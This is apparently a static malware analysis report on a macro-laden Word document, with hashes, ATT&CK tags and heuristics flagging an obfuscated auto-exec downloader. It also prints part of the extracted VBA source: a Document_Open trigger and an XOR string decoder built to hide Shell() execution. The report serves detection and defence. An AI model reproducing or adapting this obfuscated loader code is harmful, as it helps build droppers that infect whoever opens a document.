Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 2f18703c88f421f9…

MALICIOUS

Office (OOXML)

202.7 KB Created: 2019-02-04 14:54:00 UTC Authoring application: Microsoft Office Word 15.0000 First seen: 2019-05-31
MD5: 67056aaf97858c3bfda9de0019d4c5ad SHA-1: a476375a9b85262673857354c0669e80d34fc63c SHA-256: 2f18703c88f421f9f6b05ddc3fe4462c707a23172234eac18fe08b61ea549105
222 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

This OOXML document contains a VBA project with an auto-executing macro named 'Document_Open'. The macro is obfuscated and uses the Shell() function to execute a payload, indicating it's designed to download and run a second-stage malicious file. The presence of an obfuscated auto-exec loader and the use of Shell() strongly suggest a downloader or droppper functionality.

Heuristics 6

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 64074 bytes
SHA-256: 9ea4adf66a0c9e3c8d223e14c57fe0abb49b35c4e4823e6c6e5112e650b21228
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
If ActiveDocument.Variables("yQqPiyyRqIbyWZmxTnuIsZiwQjAIWUQoWTJLwWHgSmvnEBEEjwlPc").Value <> "toto" Then
ksozkusyDgiyydr
ActiveDocument.Variables("yQqPiyyRqIbyWZmxTnuIsZiwQjAIWUQoWTJLwWHgSmvnEBEEjwlPc").Value = "toto"
If ActiveDocument.ReadOnly = False Then
ActiveDocument.Save
End If
End If
End Sub


Attribute VB_Name = "DLFtWCM"
Private Function idfcYlUYSK(boyiLHHdqF As Variant, vvZbehKFzI As Integer)
Dim NsgRGEaiIH, ZVAxQyOoxA As String, TeHTMuvdZI, FnITtiiBpd
NsgRGEaiIH = ""
TeHTMuvdZI = 1
ZVAxQyOoxA = ActiveDocument.Variables("yQqPiyyRqIbyWZmxTnuIsZiwQjAIWUQoWTJLwWHgSmvnEBEEjwlPc").Value()
While TeHTMuvdZI < UBound(boyiLHHdqF) + 2
FnITtiiBpd = TeHTMuvdZI Mod Len(ZVAxQyOoxA): If FnITtiiBpd = 0 Then FnITtiiBpd = Len(ZVAxQyOoxA)
NsgRGEaiIH = NsgRGEaiIH + Chr(Asc(Mid(ZVAxQyOoxA, FnITtiiBpd + vvZbehKFzI, 1)) Xor CInt(boyiLHHdqF(TeHTMuvdZI - 1)))
TeHTMuvdZI = TeHTMuvdZI + 1
Wend
idfcYlUYSK = NsgRGEaiIH
End Function
Private Function OqdldNERy()
Dim bCKurmuJYX As Double
Dim dTG97757o As String
Dim zPVpAyY As Double
Dim Et03LM9Je As Integer
Dim hGWt0BN As Double
Dim om13z8ES8 As Integer
Dim Z65956Fr As String
Dim mK559n As String
bCKurmuJYX = Abs(6.149012732)
dTG97757o = UCase(idfcYlUYSK(Array(56, 5, 32, 59, 19), 5749))
zPVpAyY = Atn(6.648122031)
OqdldNERy = idfcYlUYSK(Array(44, 98, 47, 81, 12, 37), 6405)
Et03LM9Je = Len(idfcYlUYSK(Array(59, 46, 25, 21, 103, 20, 30), 8113))
hGWt0BN = Abs(4.07701)
om13z8ES8 = InStr(idfcYlUYSK(Array(6, 57, 44, 2, 41, 63, 2, 49, 32, 9, 105, 50, 44, 125, 7, 57, 82, 44, 94, 26, 63, _
31, 51, 41, 15, 111, 23, 2, 8, 44), 3470), idfcYlUYSK(Array(24, 43, 29, 58, 35, 5, 0, 51, 7, 46, 41, 13, 15, 58, 1, 35, 4, 61, 39, 59, 53, _
119, 4, 4, 3, 58, 58, 48, 6, 85, 61), 5822))
Z65956Fr = UCase(idfcYlUYSK(Array(0, 56, 24, 107, 84, 35, 30, 42, 112, 39, 44, 0, 27, 54, 1, 30, 99, 58, 90, 41, 26, _
5, 100, 22, 4, 98, 83, 55), 2027))
mK559n = Replace(idfcYlUYSK(Array(18, 60, 72, 57, 8, 50, 10, 14), 7381), idfcYlUYSK(Array(54, 47, 6), 2551), idfcYlUYSK(Array(55, 3, 52, 70, 55, 2, 28, 90, 35, 52, 63, 13), 1320))
End Function
Private Function NKqPGMMxw()
Dim hrQtga6OjO As Double
Dim Pv6Ka2qmT9 As Double
Dim tR9889I As String
Dim pYHNETg As Double
hrQtga6OjO = Exp(3.20088)
Pv6Ka2qmT9 = Exp(5.9964137744)
NKqPGMMxw = idfcYlUYSK(Array(16, 51, 6, 16, 0, 10), 1089)
tR9889I = Trim(idfcYlUYSK(Array(4, 47, 44, 62, 96, 51), 5072))
pYHNETg = Fix(0.2343437756)
End Function
Private Function cYSOdXSSOghPC()
Dim eIAWV8MZD As Double
Dim KbTi8pe9t As Double
Dim X9998qY As String
Dim R5786vU As String
eIAWV8MZD = Log(0.69443363)
cYSOdXSSOghPC = idfcYlUYSK(Array(20, 86, 83, 19, 124), 7276)
KbTi8pe9t = Cos(4.77789)
X9998qY = RTrim(idfcYlUYSK(Array(58, 119, 7, 26, 62, 15, 8, 7, 119, 9, 30, 21, 93, 51, 61, 4, 35, 18, 51, 8), 5098))
R5786vU = Replace(idfcYlUYSK(Array(57, 16, 53, 45, 24, 1, 99, 26, 39), 6718), idfcYlUYSK(Array(9, 19, 16, 33, 62, 32, 31, 7, 61, 90, 28, 45, 4, 47), 4947), idfcYlUYSK(Array(127, 40, 0, 28, 42, 37, 5, 45, 96, 82, 2, 6, 29, 2, 104, 0, 31), 3415))
End Function
Private Function tVyPpzdXIMdFW()
Dim sJX9867Jr As String
Dim UyM3308BCa As Integer
Dim C7Y1ohsB As Double
Dim iWPlaiXww As Double
Dim N0dlXlt As Double
sJX9867Jr = Replace(idfcYlUYSK(Array(113, 2, 42, 120, 60, 29, 70, 41, 26, 34, 38, 93, 32, 33, 7, 3, 54, 5, 33, 5, 1, _
55, 57, 55, 61, 53, 63, 61, 32), 357), idfcYlUYSK(Array(112, 27, 22, 49, 23, 15, 35, 26, 37, 90, 56, 30, 92, 40, 86, 3), 7420), idfcYlUYSK(Array(44, 41, 6, 49, 19, 56, 50, 11, 53, 49, 39, 24, 68, 55, 20, 14, 120, 49, 30, 10, 4, _
87, 127, 25), 3052))
UyM3308BCa = Len(idfcYlUYSK(Array(34, 37, 33, 31, 49, 88, 56, 0, 51, 47, 11, 91, 19, 9, 54, 23, 40), 1363))
tVyPpzdXIMdFW = idfcYlUYSK(Array(30, 36, 65, 89, 62),
... (truncated)
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 124928 bytes
SHA-256: 0f7f676c612f9888569154133ff03bc9fbdba589be8e5335f0dd8b5cfb7de0ad